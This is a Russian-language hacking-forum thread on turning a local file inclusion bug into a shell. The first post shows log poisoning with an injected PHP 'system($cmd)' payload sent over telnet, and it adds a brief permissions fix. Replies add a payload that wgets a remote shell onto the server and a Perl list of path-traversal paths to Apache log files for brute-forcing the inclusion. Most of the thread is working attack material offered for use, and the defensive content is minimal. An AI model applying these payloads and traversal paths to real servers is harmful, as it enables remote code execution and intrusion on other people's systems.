• XSS.stack #1 – первый литературный журнал от юзеров форума

Локальный include как способ получть шелл

Goudini

HDD-drive
Пользователь
Регистрация
31.03.2006
Сообщения
38
Реакции
0
Получение шела при локальном инклуде

Часто когда находится уязвимость локального инклуда, но паролей от базы данных нет, или есть, но к фтп не подошли, а база пускает только с localhost, дополнительные дыры в скриптах не найдены.... Казалось бы всё пропало, но если есть доступ к файлу журналов Веб-сервера access.log или error.log, можно получить шелл

Запускаем telnet localhost 80

Код:
GET <? system($cmd); ?>



Теперь в файле останется запись похожая не эту

Код:
127.0.0.1 - - [31/Aug/2006:22:36:29 +0300] "GET <? system($cmd); ?>" 400 414


Как видите всё передалось в чистом виде.
Теперь если к основному скрипту подключить файл логов, то возможно он будет выполнен как php-код
Смотрим.. Вуаля

Код:
127.0.0.1 - - [31/Aug/2006:22:36:29 +0300] "GET 

Undefined variable: cmd in \usr\local\apache\logs\access.log on line 1
Warning: system(): Cannot execute a blank command in \usr\local\apache\logs\access.log on line 1


Можем выполнять команды.
Для решения данной уязвимости, нужно разрешить просмотр конфигурационных файлов только пользователю root

Код:
chown -R root:root /usr/local/apache
chmod -R o-rwx /usr/local/apache

Goudini
 
Ребят, вы чего, это же БАЯН, уж раз 10 натыкался на это...

Зачем писать <? system("$cmd") ?> ?
Проще сразу - <? system("wget \\adres\\shella -o out.php");

Хотя, не зная версии операционки... ХЗ но имхо 2 вариант лучше, сразу шелл будет, а если не получиться, тогда уж, узнавать что за ОС
 
первый пост - баян

кстати может кому пригодится:

@apache=(
"../../../../../var/log/httpd/access_log",
"../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../etc/httpd/logs/access_log",
"../../../../../etc/httpd/logs/access.log",
"../../../../../etc/httpd/logs/error_log",
"../../../../../etc/httpd/logs/error.log",
"../../.. /../../var/www/logs/access_log",
"../../../../../var/www/logs/access.log",
"../../../../../usr/local/apache/logs/access_log",
"../../../../../usr/local/apache/logs/access.log",
"../../../../../var/log/apache/access_log",
"../../../../../var/log/apache/access.log",
"../../../../../var/log/access_log",
"../../../../../var/www/logs/error_log",
"../../../../../var/www/logs/error.log",
"../../../../../usr/local/apache/logs/error_log",
"../../../../../usr/local/apache/logs/error.log",
"../../../../../var/log/apache/error_log",
"../../../../../var/log/apache/error.log",
"../../../../../var/log/access_log",
"../../../../../var/log/error_log"
);
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх